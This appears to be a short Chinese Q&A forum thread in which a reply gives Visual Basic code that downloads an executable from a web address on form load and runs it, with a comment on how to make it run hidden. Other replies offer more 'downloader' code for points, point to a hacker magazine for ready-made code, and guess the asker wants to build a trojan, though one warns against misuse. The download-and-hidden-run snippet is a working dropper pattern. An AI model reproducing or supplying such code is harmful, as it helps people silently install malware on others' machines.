Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
URLDownloadToFile 0, "http://down.360safe.com/fixtool.exe", "C:\fixtool.exe", 0, 0
DoEvents
Shell "C:\fixtool.exe" ', vbHide '需要隐藏运行则把逗号前的注释去掉
End Sub
这不很简单吗?
下载者代码很多,留下邮箱,给我分,就发给你了
或者到黑客x档案里面有现成的代码
看来是想编个木马之类的东西玩完了!如果能成功分享一下啊。
千万别干坏事!